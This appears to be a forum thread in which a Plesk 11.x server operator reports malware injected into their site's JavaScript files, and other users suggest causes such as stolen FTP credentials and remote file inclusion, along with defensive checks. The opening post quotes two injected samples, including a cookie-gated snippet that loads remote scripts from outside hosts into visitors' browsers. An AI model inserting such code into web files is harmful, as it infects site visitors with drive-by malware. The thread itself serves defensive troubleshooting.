Plesk 11.x Linux VULNERABILITY: JavaScript injection

[OctavioM]

We're getting most JS files in our server injected with malware code.

Something like this:

/*cc3b29*/
document.write("<script src='http://quadfreunde-nordeifel.de/kalender/wHXy6DBL.php?id=132732700' type='text/javascript'></" + "script>");
/*/cc3b29*/

Or this:

/*820a93*/
function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
if (navigator.userAgent.indexOf("MSIE") != -1){if(navigator.cookieEnabled == true) {var user4 = getCookie("awqawq09");if (user4 !=="awqawq"){setCookie("awqawq09", "awqawq", 7, "/"); cookieawq09awq();}}} function cookieawq09awq(){document.write("<script src='http://www.tilt.org/blog/zbqHmWnj.php?id=132732726' type='text/javascript'></" + "script>");}
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");}
/*/820a93*/

I hope a solution can be found. This is a problem that needs to be fixed ASAP!

 

[abdi]

Plesk will not solve that for you!! (Not now / not in the near future)

You just have to harden the security of your server. Look at mod_security it can help you fight such attacks ...

 

[OctavioM]

Plesk will not solve that for you!! (Not now / not in the near future)

You just have to harden the security of your server. Look at mod_security it can help you fight such attacks ...

So you mean this is not a vulnerability in Plesk? Can you please explain how can someone modify JS files in OUR SERVER without having FTP access?

We're not using a CMS with code freely available in the net, it's an own development and nobody has access to the code, plus our code never writes over other code files.

Without FTP access, how can JS files be modified?

Thank you!

 

[abdi]

Remote File Inclusion (RFI) Attacks

RFI inclusion is a simple website attack that nonetheless can make sites vulnerable to data loss or other malice. Using careful code logic will thwart RFI attacks.

More here ...

http://www.esecurityplanet.com/brow...revent-remote-file-inclusion-rfi-attacks.html

 

[Faris Raouf]

What Abdi describes is the most likely reason for your problem.

However, it is also possible that the bad guys have guessed or otherwise obtained an FTP username/password combination, or a Plesk username/Password combination.

Check the logs you see in /var/www/vhosts/system/domain.tld/logs/ (Plesk 11.5) or /var/www/vhosts/domain.tld/statistics/logs/ (earlier versions) such as the ftp transfer log, or the http access/error log, to see what IP might have edited the files.

Also check the Plesk action log for IPs you don't recognise logging in to Plesk.

Use the time/date of the modified pages to try to narrow down when the changes occurred, and cross-check this with your logs.

In some extreme cases the server itself may have been compromised. To start with, scanning /var/www/vhosts/ for malware using something like clamav and looking for anything unusual would therefore be a good idea. Using a root kit checker like rkhunter is also worth while (but it can generate some false positives so don't necessarily panic if you see something).

[Of course there's not much point looking at FTP/Plesk logs if you have firewalled the Plesk panel and FTP ports to only allow access to your own IPs - you don't mention much about the setup of your system so I'm just suggesting as much as I can in case it is of any use, but Abdi has really covered the important bits]

 

[OctavioM]

Remote File Inclusion (RFI) Attacks

RFI inclusion is a simple website attack that nonetheless can make sites vulnerable to data loss or other malice. Using careful code logic will thwart RFI attacks.

More here ...

http://www.esecurityplanet.com/brow...revent-remote-file-inclusion-rfi-attacks.html

Thanks for the link, but I don't think we're having that problem. Our code have very few instances where an "include" or "require" statement depends on a query string or post value, but in the cases where there are statements which depend in a query value, they were already properly checked so only predefined values are accepted, as that article explains. So that was already cared for.

The problem here must be of a different nature, not a RFI attack. Is there any other way an attacker can modify JS files in the server? (other than query variable injection in includes).

However, it is also possible that the bad guys have guessed or otherwise obtained an FTP username/password combination, or a Plesk username/Password combination.

Check the logs you see in /var/www/vhosts/system/domain.tld/logs/ (Plesk 11.5) or /var/www/vhosts/domain.tld/statistics/logs/ (earlier versions) such as the ftp transfer log, or the http access/error log, to see what IP might have edited the files.

Thanks for the tip, we'll take a look. Though I don't think it's likely that someone have guessed the password, since it's composed of random letters and numbers, not something guessable, unless using a brute force attack.

Also check the Plesk action log for IPs you don't recognise logging in to Plesk.

Use the time/date of the modified pages to try to narrow down when the changes occurred, and cross-check this with your logs.

In some extreme cases the server itself may have been compromised. To start with, scanning /var/www/vhosts/ for malware using something like clamav and looking for anything unusual would therefore be a good idea. Using a root kit checker like rkhunter is also worth while (but it can generate some false positives so don't necessarily panic if you see something).

Thanks for the suggestions!

[Of course there's not much point looking at FTP/Plesk logs if you have firewalled the Plesk panel and FTP ports to only allow access to your own IPs - you don't mention much about the setup of your system so I'm just suggesting as much as I can in case it is of any use, but Abdi has really covered the important bits]

Well, we don't really have any IP whitelisting for our FTPs. That could maybe be a good idea, in case they did actually access our FTPs.

 

[abdi]

http://blog.sucuri.net/2013/06/apache-php-injection-to-javascript-files.html

If you google you will also get many howtos ...

 

[OctavioM]

http://blog.sucuri.net/2013/06/apache-php-injection-to-javascript-files.html

If you google you will also get many howtos ...

I already googled for several terms but I didn't find useful info. I also came across that page you're linking, but there it's explaining how JS files can get appended content when loaded from a browser by using ".htaccess". In my case, the actual JS files were physically modified, not just appended with extra content when accessed from HTTP. If I downloaded them from our FTP, I also got the modified JS files.

So it's not the same case. Besides, how can a hacker modify or create a .htaccess file in the server to achieve that?

 

[paulieG]

Hi,

To reiterate what has already been said/requested (and expand a little) :

1) Has your FTP been accessed?
2) How many domains are affected?
3) What are the modification/change timestamps for these files?
4) Have your cross-referenced these timestamps against all your access logs and against your Plesk action log?

That particular injection is very similar to ones we've seen on compromised FTP accounts (the tags are to allow them to change their code conveniently when their payload site is taken down), so I'd check there first.

Assuming it is compromised FTP sites then again the questions are where are the FTP passwords stored/entered, are those machines clean? Have the FTP passwords been sent anywhere by email recently? These are all far more likely scenarios than a Plesk vulnerability and need to be eliminated first.

paul.

 

[abdi]

By the way, not so long ago there was a tool that could auto-install it self on PCs, read FileZilla config files and pick FTP credentials from these configs and send them to there masters ...

If you use FileZilla and store passwords with it, then (much as the chances are slim, but they are there ...)